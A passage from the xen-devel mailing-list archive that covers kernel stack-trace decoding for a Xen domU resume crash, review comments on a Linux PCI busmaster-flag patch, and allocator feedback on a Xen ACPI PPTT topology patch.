    $ scripts/faddr2line ./vmlinux __pfx_xenwatch_thread+0x10/0x10         =
        =20
    __pfx_xenwatch_thread+0x10/0x10:
    xenwatch_thread at drivers/xen/xenbus/xenbus_xs.c:844

    $ scripts/faddr2line ./vmlinux device_unregister+0x17/0x70             =
             =20
    device_unregister+0x17/0x70:
    put_device at drivers/base/core.c:3813
    (inlined by) device_unregister at drivers/base/core.c:3937

    $ scripts/faddr2line ./vmlinux xenbus_dev_changed.cold+0x3e/0x5b       =
               =20
    xenbus_dev_changed.cold+0x3e/0x5b:
    xenbus_cleanup_devices at drivers/xen/xenbus/xenbus_probe.c:451
    (inlined by) xenbus_dev_changed at drivers/xen/xenbus/xenbus_probe.c:648

    $ scripts/faddr2line ./vmlinux __pfx_xenwatch_thread+0x10/0x10         =
                  =20
    __pfx_xenwatch_thread+0x10/0x10:
    xenwatch_thread at drivers/xen/xenbus/xenbus_xs.c:844

    $ scripts/faddr2line ./vmlinux xenwatch_thread+0x92/0x1c0              =
            =20
    xenwatch_thread+0x92/0x1c0:
    xenwatch_thread at drivers/xen/xenbus/xenbus_xs.c:870

    $ scripts/faddr2line ./vmlinux __pfx_autoremove_wake_function+0x10/0x10=
                     =20
    __pfx_autoremove_wake_function+0x10/0x10:
    autoremove_wake_function at kernel/sched/wait.c:402

    $ scripts/faddr2line ./vmlinux kthread+0xe3/0x120                      =
     =20
    kthread+0xe3/0x120:
    kthread at kernel/kthread.c:436

    $ scripts/faddr2line ./vmlinux __pfx_kthread+0x10/0x10             =20
    __pfx_kthread+0x10/0x10:
    kthread at kernel/kthread.c:381

    $ scripts/faddr2line ./vmlinux ret_from_fork+0x2ba/0x340               =
   =20
    ret_from_fork+0x2ba/0x340:
    ret_from_fork at arch/x86/kernel/process.c:164

    $ scripts/faddr2line ./vmlinux __pfx_kthread+0x10/0x10
    __pfx_kthread+0x10/0x10:
    kthread at kernel/kthread.c:381

    $ scripts/faddr2line ./vmlinux ret_from_fork_asm+0x1a/0x30             =
     =20
    ret_from_fork_asm+0x1a/0x30:
    ret_from_fork_asm at arch/x86/entry/entry_64.S:255

--
Aaron

[1] https://github.com/QubesOS/qubes-issues/issues/10969

--Sig_/eDubLtio8OFLSEEx0zCmBLW
Content-Type: application/pgp-signature
Content-Description: OpenPGP digital signature

-----BEGIN PGP SIGNATURE-----

iHUEARYKAB0WIQS8QsiCjFi4DcDBX+Q5rdye4jrrCAUCalcDOQAKCRA5rdye4jrr
CMvxAQDPbjrAr0/2zidW3Udib5xaWE5wrTiGhNC4gvLPIuf2XQD/RRqzBpm2bO3r
Qis6x/MIdh4Xg98rK/09LgZ7/hkpAwM=
=hgKf
-----END PGP SIGNATURE-----

--Sig_/eDubLtio8OFLSEEx0zCmBLW--


From xen-devel-bounces@lists.xenproject.org Wed Jul 15 04:55:01 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 04:55:01 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362657.1614422 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjrdr-00060L-IJ; Wed, 15 Jul 2026 04:54:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362657.1614422; Wed, 15 Jul 2026 04:54:43 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjrdr-00060E-FI; Wed, 15 Jul 2026 04:54:43 +0000
Received: by outflank-mailman (input) for mailman id 1362657;
 Wed, 15 Jul 2026 04:54:41 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <lukas@wunner.de>) id 1wjrdp-0005zp-H0
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 04:54:41 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjrdn-00DMfH-Ed
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 06:54:39 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <lukas@wunner.de>)
 id 6a57127f-bab6-0a2a0a5309dd-0a2a4504b740-46
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 06:54:39 +0200
Received: from [83.223.78.233] (helo=mailout2.hostsharing.net)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <lukas@wunner.de>)
 id 6a57128f-b57f-0a2a45040019-53df4ee9d997-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 06:54:39 +0200
Received: from h08.hostsharing.net (h08.hostsharing.net [83.223.95.28])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange x25519 server-signature ECDSA (secp384r1) server-digest SHA384
 client-signature ECDSA (secp384r1) client-digest SHA384)
 (Client CN "*.hostsharing.net",
 Issuer "GlobalSign GCC R6 AlphaSSL CA 2025" (verified OK))
 by mailout2.hostsharing.net (Postfix) with ESMTPS id B5F3510630;
 Wed, 15 Jul 2026 06:54:38 +0200 (CEST)
Received: by h08.hostsharing.net (Postfix, from userid 100393)
 id 960BB603411E; Wed, 15 Jul 2026 06:54:38 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
Date: Wed, 15 Jul 2026 06:54:38 +0200
From: Lukas Wunner <lukas@wunner.de>
To: Maurice Hieronymus <mhi@mailbox.org>
Cc: Edward Cree <ecree.xilinx@gmail.com>,
	Andrew Lunn <andrew+netdev@lunn.ch>,
	"David S. Miller" <davem@davemloft.net>,
	Eric Dumazet <edumazet@google.com>,
	Jakub Kicinski <kuba@kernel.org>, Paolo Abeni <pabeni@redhat.com>,
	Bjorn Helgaas <bhelgaas@google.com>,
	Justin Tee <justin.tee@broadcom.com>,
	Paul Ely <paul.ely@broadcom.com>,
	"James E.J. Bottomley" <James.Bottomley@hansenpartnership.com>,
	"Martin K. Petersen" <martin.petersen@oracle.com>,
	Juergen Gross <jgross@suse.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>,
	Miguel Ojeda <ojeda@kernel.org>, Boqun Feng <boqun@kernel.org>,
	Gary Guo <gary@garyguo.net>,
	=?iso-8859-1?Q?Bj=F6rn?= Roy Baron <bjorn3_gh@protonmail.com>,
	Benno Lossin <lossin@kernel.org>,
	Andreas Hindborg <a.hindborg@kernel.org>,
	Alice Ryhl <aliceryhl@google.com>, Trevor Gross <tmgross@umich.edu>,
	Daniel Almeida <daniel.almeida@collabora.com>,
	Tamir Duberstein <tamird@kernel.org>,
	Alexandre Courbot <acourbot@nvidia.com>,
	Onur =?iso-8859-1?Q?=D6zkan?= <work@onurozkan.dev>,
	Borislav Petkov <bp@alien8.de>, Tony Luck <tony.luck@intel.com>,
	Danilo Krummrich <dakr@kernel.org>, rust-for-linux@vger.kernel.org,
	netdev@vger.kernel.org, linux-net-drivers@amd.com,
	linux-kernel@vger.kernel.org, linux-pci@vger.kernel.org,
	linux-scsi@vger.kernel.org, xen-devel@lists.xenproject.org,
	linux-edac@vger.kernel.org
Subject: Re: [PATCH v2] PCI: Move pci_dev->is_busmaster into priv_flags
Message-ID: <alcSjoypegNolW48@wunner.de>
References: <20260714-pci-dev-flags-v2-1-a1d7dc441cf3@mailbox.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20260714-pci-dev-flags-v2-1-a1d7dc441cf3@mailbox.org>
X-purgate-ID: tlsNG-ebf023/1784091279-C08D9B50-82F6E0CE/0/0
X-purgate-type: clean
X-purgate-size: 1520

On Tue, Jul 14, 2026 at 09:37:07PM +0200, Maurice Hieronymus wrote:
> +++ b/include/linux/pci.h
> @@ -1446,6 +1445,8 @@ void pci_disable_device(struct pci_dev *dev);
>  extern unsigned int pcibios_max_latency;
>  void pci_set_master(struct pci_dev *dev);
>  void pci_clear_master(struct pci_dev *dev);
> +bool pci_dev_is_busmaster(const struct pci_dev *pdev);
> +void pci_dev_assign_busmaster(struct pci_dev *pdev, bool busmaster);

pci_dev_assign_busmaster() should not have public visibility.
Drivers should really use pci_set_master() / pci_clear_master()
and nothing else.

It seems Xen is the only one in the tree which needs this:

> +++ b/drivers/xen/xen-pciback/pciback_ops.c
> @@ -125,14 +125,14 @@ void xen_pcibk_reset_device(struct pci_dev *dev)
>  		if (pci_is_enabled(dev))
>  			pci_disable_device(dev);
>  
> -		dev->is_busmaster = 0;
> +		pci_dev_assign_busmaster(dev, false);
>  	} else {
>  		pci_read_config_word(dev, PCI_COMMAND, &cmd);
>  		if (cmd & (PCI_COMMAND_INVALIDATE)) {
>  			cmd &= ~(PCI_COMMAND_INVALIDATE);
>  			pci_write_config_word(dev, PCI_COMMAND, cmd);
>  
> -			dev->is_busmaster = 0;
> +			pci_dev_assign_busmaster(dev, false);
>  		}
>  	}
>  }

Please change these direct assignments to pci_clear_master(),
preferably in a separate patch to ease bisecting if anything
breaks.

Then you don't need pci_dev_assign_busmaster() and can just inline
setting/clearing the bit in __pci_set_master() and pci_disable_device().

Thanks,

Lukas


From xen-devel-bounces@lists.xenproject.org Wed Jul 15 06:13:19 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 06:13:19 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362669.1614431 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjsrd-0007Vy-Jr; Wed, 15 Jul 2026 06:13:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362669.1614431; Wed, 15 Jul 2026 06:13:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjsrd-0007Vr-Gs; Wed, 15 Jul 2026 06:13:01 +0000
Received: by outflank-mailman (input) for mailman id 1362669;
 Wed, 15 Jul 2026 06:12:59 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wjsrb-0007Vl-Lx
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 06:12:59 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjsra-00226U-Un
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 08:12:58 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5724e4-e002-0a2a0a5209dd-0a2a450bcb60-16
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 08:12:58 +0200
Received: from [209.85.128.52] (helo=mail-wm1-f52.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5724ea-b7e8-0a2a450b0019-d1558034d182-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 08:12:58 +0200
Received: by mail-wm1-f52.google.com with SMTP id
 5b1f17b1804b1-493f60208a5so42762705e9.3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 23:12:58 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4950a2edd6fsm125291235e9.11.2026.07.14.23.12.57
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 14 Jul 2026 23:12:57 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784095978; x=1784700778; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=WJTFbBfr13SbIkACMFxDlZVnlu7ftJbXQQEOl0tOQ6o=;
        b=CRxlTGSDRhObE9Ur4TNVBPkaxK3cZn/R8omRezU0bEd2RUYJHky/EQ0pdV4siyysCR
         BbXpqlYMM9SS0ZyFRpzQFAo/LYdGKB0KLZrRR0maAscVsvL8jYFPjbYDwEyVFCsELhTc
         fczCXQQqf4aY2mQFx9IY6rio4iB3D6MbBJ/2QUv2TA5YuAgXnzO4XL+L7EcUIQIInbT1
         0swUCjcPV62EDa+K0eVRaD+xTxQ3VlWyOgkiPkMpE4r2Apnpty/NykJDWoUxgGeRvBGD
         0GH+XuUjKZ+uMDr5yByvoMARRwWwudddpvO76MvKW9zogAqVeL2sQYdrgMs/aUaea57F
         BEzg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784095978; x=1784700778;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=WJTFbBfr13SbIkACMFxDlZVnlu7ftJbXQQEOl0tOQ6o=;
        b=NhBqzwL0aMsO77fYE/85pWTxB/aATcZljwIxWCsfjwYHbDcrvY4KRRWeL468ZsGkeU
         M1hvxypJXGt3mwYiAndkx0/KAOyOJf0HolpeX/mNoPFZAz+/dAfVDNRorVYEaSf/yN8e
         kSOtt26HsLcRjDuOmI1z1ece/Xfmwjodm3paAgMkwJ1AA6QG9xudf67UG//z9aBpAm9B
         pkr+ZHWPAYRP6NhTaQ6F8/bSotQkM3MMa51Z3mfEeThVFa/bojhQH8nM7o0Ar/DnvyOY
         rYa0ia64f21HRIrTfYu+gAyWFnvDnbv/ft4anNBaJDGXfWzkb+7NOWWFRXC37BnX8Oc6
         8a0g==
X-Forwarded-Encrypted: i=1; AHgh+RpoOhnGf6cG/SwnN+kI5H1UML6j905heoLMzbRV3/q5pevE0FSKA4mRKBN/b1zACRuLJ5xzyPU9/7E=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxLWoF9dTXdfDAzOZo034B+0vWpBxuMyK5L+HAcvSyqz+/u1PH0
	0PMgNThLyxpd4ZldPXO9mCkUIRfmSldDdWXUEQ8L4UsUHNzTNfrk1iQgNz7MWY1nWQ==
X-Gm-Gg: AfdE7cke9aio1X8ijZKkZCIcwM5Ep7pp8Qfk59gcZigDXT/zLKY5qKNjwg4BW5DEMFA
	rffRO6s4o/gymHbRWWV85ryieC88k019bRm8kNPXSjY9TBRZhFaZHQSE0pnJrc9dVE0/QVKSGsE
	cKI0bNxFXt87s8LYfMswrfE8VsmVSTIT4vNZ2QDP1acttbPGFLNkewJC87t3erEOAx/iQCkDg7F
	rKVjhsNmWM3c43BIQr8Vz2ljaYcuXGfSnLUli1xofQ8bBliZfc1VmFRlGj9yHUQZE9Vf2Dpf6mu
	b4783Go3igkOI7TX98Qr/ZonprzqjbJdCZj+4OVudU/4De4xenmsz54aZ/nFc13vWC1lKBSTt7P
	hJk1MqF38nGX/5h9oTxdW0/XRjH6hVpjTLBgEwWTjFcUwfbZpAH/mzfTGqPnMKTvwa2s4jBTSTQ
	HZwe1ePtL/Ztj8DjdNEwyYupwWf6r4EaYKXdWHItE2+bCbD1cEjIQoUiGNltosme04pZHP2Oq/t
	E+ocelTn53kDxQ=
X-Received: by 2002:a05:600c:6048:b0:493:e404:3727 with SMTP id 5b1f17b1804b1-4953c27b338mr10343145e9.23.1784095978381;
        Tue, 14 Jul 2026 23:12:58 -0700 (PDT)
Message-ID: <199ad904-79c7-4f7c-b856-44ad68fed49c@suse.com>
Date: Wed, 15 Jul 2026 08:12:57 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6 5/5] xen/acpi: Parse PPTT to initialize CPU topology
To: Hirokazu Takahashi <taka@valinux.co.jp>
Cc: "Mykyta_Poturai@epam.com" <Mykyta_Poturai@epam.com>,
 Stefano Stabellini <sstabellini@kernel.org>, Julien Grall <julien@xen.org>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <20260714104445.919830-1-taka@valinux.co.jp>
 <20260714104445.919830-6-taka@valinux.co.jp>
 <OS9P286MB7222D458C3248E908695F2DB82F92@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
 <OS9P286MB72222CC8A5C8B0E329F8A9B082F92@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79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nDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <OS9P286MB72222CC8A5C8B0E329F8A9B082F92@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-42698a/1784095978-19EC69EA-75ADD161/0/0
X-purgate-type: clean
X-purgate-size: 941

On 14.07.2026 23:30, Hirokazu Takahashi wrote:
>>> diff --git a/xen/drivers/acpi/topology.c b/xen/drivers/acpi/topology.c
>>> index 56fcfa4945..e6dea527a6 100644
>>> --- a/xen/drivers/acpi/topology.c
>>> +++ b/xen/drivers/acpi/topology.c
>>
>>
>>>  int __init acpi_init_cpu_topology(void)
>>>  {
>>> +    acpi_status status;
>>> +    struct acpi_table_header *table_header;
>>> +    const struct acpi_table_pptt *pptt;
>>> +    unsigned int num_sockets = 0;
>>> +    unsigned int num_clusters = 0;
>>> +    unsigned int num_cores = 0;
>>> +    unsigned int *socket_map = xmalloc_array(unsigned int, nr_cpu_ids);
>>> +    unsigned int *cluster_map = xmalloc_array(unsigned int, nr_cpu_ids);
>>> +    unsigned int *core_map = xmalloc_array(unsigned int, nr_cpu_ids);
>>
>> These have to be xzmalloc_array().
> 
> xzalloc_array()

xvzalloc_array(). And the others xvmalloc_array(). See the top of xen/xvmalloc.h.

Jan


From xen-devel-bounces@lists.xenproject.org Wed Jul 15 06:16:10 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 06:16:10 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362677.1614441 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjsuf-00080l-2S; Wed, 15 Jul 2026 06:16:09 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362677.1614441; Wed, 15 Jul 2026 06:16:09 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjsue-00080e-Te; Wed, 15 Jul 2026 06:16:08 +0000
Received: by outflank-mailman (input) for mailman id 1362677;
 Wed, 15 Jul 2026 06:16:06 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wjsuc-00080W-QU
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 06:16:06 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjsuc-0022nh-6u
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 08:16:06 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5725a3-5cb7-0a2a0a5109dd-0a2a450bdf0a-10
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 08:16:06 +0200
Received: from [209.85.128.44] (helo=mail-wm1-f44.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5725a5-b7e8-0a2a450b0019-d155802cb1d7-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 08:16:05 +0200
Received: by mail-wm1-f44.google.com with SMTP id
 5b1f17b1804b1-493b7612475so38560715e9.3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 23:16:05 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f4634e0d9sm13417656f8f.2.2026.07.14.23.16.04
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 14 Jul 2026 23:16:04 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Cc:Content-Language:References:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784096165; x=1784700965; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :cc:content-language:references:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=TD6xLO5TNytDgtHGbboyC47Q2Y/dMwbsodJ9rP5RlFA=;
        b=a4q8TGVpw0KjnckKEM3wjhXeAARLMKisMmxWLPBzrokRNj53QSb1vKxShERu5PyaOf
         wyzEFxpX6rWnlRwWhZ3f64SwKfndn9n6mKzgncez+vOo8Tz/5PjIIH5YadD2RULYvf5n
         bHBFQA0XMZKGrLeCiYxbrRvLqi5484TULYqJ2O1VmLfKWNWVoDeacTC5GQinPiD1j4X8
         hnVqLY5jGUUmiwGmyvy4QBodxp6HOOYRNLbJTZ5/GTggSgsYcPx8CWNoPpvoP8ShwPRd
         4dowAVpUz8hpilHspb2mXbni9XJi734PbvEH01uCVVw/1Ve5JDgqLkj5EXUbJgOlxBXL
         JhlA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784096165; x=1784700965;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :cc:content-language:references:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=TD6xLO5TNytDgtHGbboyC47Q2Y/dMwbsodJ9rP5RlFA=;
        b=VB5m0KNqPPNIc8pqL8sDa5KWP2DsSpfw/5r+TAc1+kvcJ/c4IbudaL6pwU2jxjMGpO
         ti1lbosoxa6JtkCGDu2HOOSBdGCEATvDTe5FD4NiGixsnw34ERe5sovhD+HYFWJCRf4h
         iZm+iGig5Ij6AD5UyDEHF4sAlzYFhqsDiUDtZUZxa7q/L3yAjHdrgXZ3ycDpCHFcuFWI
         xN9/+mx+ynJWI1//C4FQ+sOm+Jv55qCQUX6Li5fR12xrTz5zlz+CX65QpRY/FLvVPbm0
         TZu4owh5OV9CQb9tubAYiik+fuidp37/ZXc70ZAzVl+S/jtO7QqZ49+VRQHD9G5z32B7
         6HMg==
X-Gm-Message-State: AOJu0YzxrkHmNfW/pe7dsilMT3kwdT39fUICXXqPReSaZMoZ4VAA6ufg
	vVbZ94dMwutqZZR8d/VZJX/alQasqkwqs6KaQHr1Now960wN4Ql4m3CNAph+wZTMwA==
X-Gm-Gg: AfdE7ckLND2EvacisNDzwzdjS9ZsKgzDVtPeBVfxF+krBQCqnnOrsjQp9r80U5OgLk4
	MaBpIjaZZn1Pogt5Y5NqyLDODOfHdvs5RR8wMrn+bYaWUTPnkHhqWzUUEuyqEW6djE3IH7UjGOp
	GHvOAWCowHdFiDGLMNNdHHp1iOu154JBEs504hXZuj60mHRyMTfL8hrtntO3QmFOaG7DpNY4iha
	VEA6uEH/GV7dc8ai4eUKHX7diFt/VaLtHIbxlDXwT9Vr/49fBXw2pHaHSsKF10F+ggbuDYBOqgr
	K/UykyawnfS3/VhA3wWCOWPWN53puMGdqByOgZNwy6pt6o7y3yS+oYTsUL7GooHWIh4U8TcMDwR
	7GFZcp3Hr787nxDPjgggDeH1jtnyk9qAvl98aN6SqoZ9QI2wyHHqtKOelXGagxl3EMcVr/WY/Fq
	NAwpzVzic1PH89vyBXFm0vsmr8FEgLuaPlhuCfb2L2qOBgtjyNPl1D+hnKgAYGt6L/bchge8YrD
	W5SUCtA/1zGBnY=
X-Received: by 2002:a05:600c:46ce:b0:493:b811:e549 with SMTP id 5b1f17b1804b1-4951830a532mr72559705e9.29.1784096164990;
        Tue, 14 Jul 2026 23:16:04 -0700 (PDT)
Message-ID: <6a474432-fd4d-4b69-948e-9d32c0b31790@suse.com>
Date: Wed, 15 Jul 2026 08:16:04 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: domU crash when resuming from suspend - Xen 4.22
To: =?UTF-8?Q?Marek_Marczykowski-G=C3=B3recki?=
 <marmarek@invisiblethingslab.com>
References: <ajUm2SQtMD6Y-K9S@mail-itl> <alZt_boT-hJuVlD6@mail-itl>
Content-Language: en-US
Cc: xen-devel <xen-devel@lists.xenproject.org>
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7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8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
